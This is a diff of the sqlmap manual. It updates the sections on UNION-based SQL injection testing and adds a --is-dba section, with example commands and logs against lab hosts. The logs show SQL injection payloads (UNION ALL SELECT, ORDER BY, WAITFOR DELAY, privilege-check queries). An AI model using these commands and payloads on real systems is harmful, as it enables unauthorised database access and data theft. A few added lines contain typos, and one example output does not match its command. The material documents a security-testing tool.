@@ -144,7 +144,7 @@ sqlmap implements three techniques to exploit a SQL injection
144144vulnerability:
145145
146146<itemize>
147- <item><bf>Inferential Blind SQL injection</bf>: sqlmap appends to the
147+ <item><bf>Inferential blind SQL injection</bf>: sqlmap appends to the
148148affected parameter in the HTTP request, a syntatically valid SQL statement
149149string containing a <tt>SELECT</tt> sub-statement, or any other SQL
150150statement whose the user want to retrieve the output.
@@ -1539,7 +1539,7 @@ Options: <tt>--string</tt> and <tt>--regexp</tt>
15391539
15401540<p>
15411541By default the distinction of a True query by a False one (basic concept
1542- for Inferential Blind SQL injection attacks) is done comparing injected
1542+ for Inferential blind SQL injection attacks) is done comparing injected
15431543requests page content MD5 hash with the original not injected page content
15441544MD5 hash.
15451545Not always this concept works because sometimes the page content changes at
@@ -1897,8 +1897,8 @@ time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';
18971897Options: <tt>--union-test</tt> and <tt>--union-tech</tt>
18981898
18991899<p>
1900- It is possible to test if the target URL is affected by an <bf>inband
1901- SQL injection</bf> vulnerability.
1900+ It is possible to test if the target URL is affected by a <bf>UNION query
1901+ (inband) SQL injection</bf> vulnerability.
19021902Refer to the <em>Techniques</em> section for details on this SQL injection
19031903technique.
19041904
@@ -1912,35 +1912,45 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
19121912[...]
19131913back-end DBMS: Oracle
19141914
1915- [hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
1916- [hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
1915+ [hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
1916+ technique
1917+ [hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
19171918valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
1918- NULL, NULL, NULL FROM DUAL-- AND 5601=5601 '
1919+ NULL, NULL, NULL FROM DUAL-- AND 6558=6558 '
19191920</verb></tscreen>
19201921
1922+ <p>
1923+ By default sqlmap uses the <bf><tt>NULL</tt> bruteforcing</bf> technique to
1924+ detect the number of columns within the original <tt>SELECT</tt> statement.
1925+ It is also possible to change it to <bf><tt>ORDER BY</tt> clause
1926+ bruteforcing</bf> with the <tt>--union-tech</tt> option.
1927+
1928+ <p>
1929+ Further details on these techniques can be found <htmlurl
1930+ url="http://bernardodamele.blogspot.com/2007/07/insight-on-union-query-sql-injection.html" name="here">.
1931+
19211932<p>
19221933Example on a <bf>PostgreSQL 8.3.5</bf> target:
19231934
19241935<tscreen><verb>
19251936$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \
1926- --union-test -v 1
1937+ --union-test --union-tech orderby - v 1
19271938
19281939[...]
1929- web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
1930- web application technology: PHP 5.2.6, Apache 2.2.9
19311940back-end DBMS: PostgreSQL
19321941
1933- [hh:mm:29] [INFO] testing inband sql injection on parameter 'id'
1934- [hh:mm:29] [INFO] the target url could be affected by an inband sql injection vulnerability
1935- valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT NULL,
1936- NULL, NULL-- AND 'iBEMR'='iBEMR'
1942+ [hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause
1943+ bruteforcing technique
1944+ [hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
1945+ valid union: 'http://192.168.1.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
1946+ 1262=1262'
19371947</verb></tscreen>
19381948
19391949<p>
19401950As you can see, the target URL parameter <tt>id</tt> might be also
1941- affected by an inband SQL injection.
1942- In case this vulnerability is exploitable it is strongly recommended to
1943- use this technique which saves a lot of time.
1951+ exploitable by the inband SQL injection technique .
1952+ In case a case it is strongly recommended to use this technique which saves
1953+ a lot of time.
19441954
19451955<p>
19461956It is strongly recommended to run at least once sqlmap with the
@@ -1981,7 +1991,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1
19811991back-end DBMS: Microsoft SQL Server 2000
19821992
19831993[hh:mm:42] [INFO] fetching banner
1984- [hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
1994+ [hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
1995+ technique
19851996[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
19861997[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
19871998[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection
@@ -2073,7 +2084,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.ph
20732084back-end DBMS: MySQL >= 5.0.0
20742085
20752086[hh:mm:56] [INFO] fetching database names
2076- [hh:mm:56] [INFO] testing inband sql injection on parameter 'id'
2087+ [hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
2088+ technique
20772089[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
20782090[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
20792091[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
@@ -2123,6 +2135,8 @@ page content.
21232135
21242136<sect2>Extensive database management system fingerprint
21252137
2138+ <!-- TODO: improve examples on basic DBMS fingerprint -->
2139+
21262140<p>
21272141Options: <tt>-f</tt> or <tt>--fingerprint</tt>
21282142
@@ -2535,6 +2549,52 @@ current database: 'master'
25352549</verb></tscreen>
25362550
25372551
2552+ <sect2>Detect if the DBMS current user is a database administrator
2553+
2554+ <p>
2555+ Option: <tt>--is-dba</tt>
2556+
2557+ <p>
2558+ It is possible to detect if the database management system session user is
2559+ a database administrator.
2560+
2561+ <p>
2562+ Example on a <bf>PostgreSQL 8.3.5</bf> target:
2563+
2564+ <tscreen><verb>
2565+ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
2566+
2567+ [...]
2568+ back-end DBMS: PostgreSQL
2569+
2570+ [hh:mm:52] [INFO] testing if current user is DBA
2571+ [hh:mm:52] [INFO] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
2572+ usename=CURRENT_USER OFFSET 0 LIMIT 1)=CHR(116)||CHR(114)||CHR(117)||CHR(101)) THEN 1
2573+ ELSE 0 END)
2574+ [hh:mm:52] [INFO] retrieved:
2575+ [hh:mm:52] [INFO] performed 6 queries in 0 seconds
2576+ current user is DBA: 'False'
2577+ </verb></tscreen>
2578+
2579+ <p>
2580+ Example on an <bf>Oracle XE 10.2.0.1</bf> target:
2581+
2582+ <tscreen><verb>
2583+ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --is-dba -v 1
2584+
2585+ [...]
2586+ back-end DBMS: Oracle
2587+
2588+ [16:40:57] [INFO] testing if current user is DBA
2589+ [16:40:58] [INFO] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE
2590+ GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
2591+ THEN 1 ELSE 0 END) FROM DUAL
2592+ [16:40:58] [INFO] retrieved: 1
2593+ [16:40:58] [INFO] performed 13 queries in 0 seconds
2594+ current user is DBA: 'True'
2595+ </verb></tscreen>
2596+
2597+
25382598<sect2>Users
25392599
25402600<p>
@@ -3334,7 +3394,7 @@ as a users' database.
33343394
33353395<sect2>Run your own SQL statement
33363396
3337- <!-- TODO: improve -->
3397+ <!-- TODO: improve with example on INSERT/DROP/xp_cmdshell -->
33383398
33393399<p>
33403400Options: <tt>--sql-query</tt> and <tt>--sql-shell</tt>
@@ -3390,10 +3450,11 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql
33903450
33913451[...]
33923452[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
3393- [hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
3453+ [hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
3454+ technique
33943455[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
3395- [hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
3396- [hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
3456+ [hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
3457+ [hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
33973458vulnerability
33983459[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
33993460CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
0 commit comments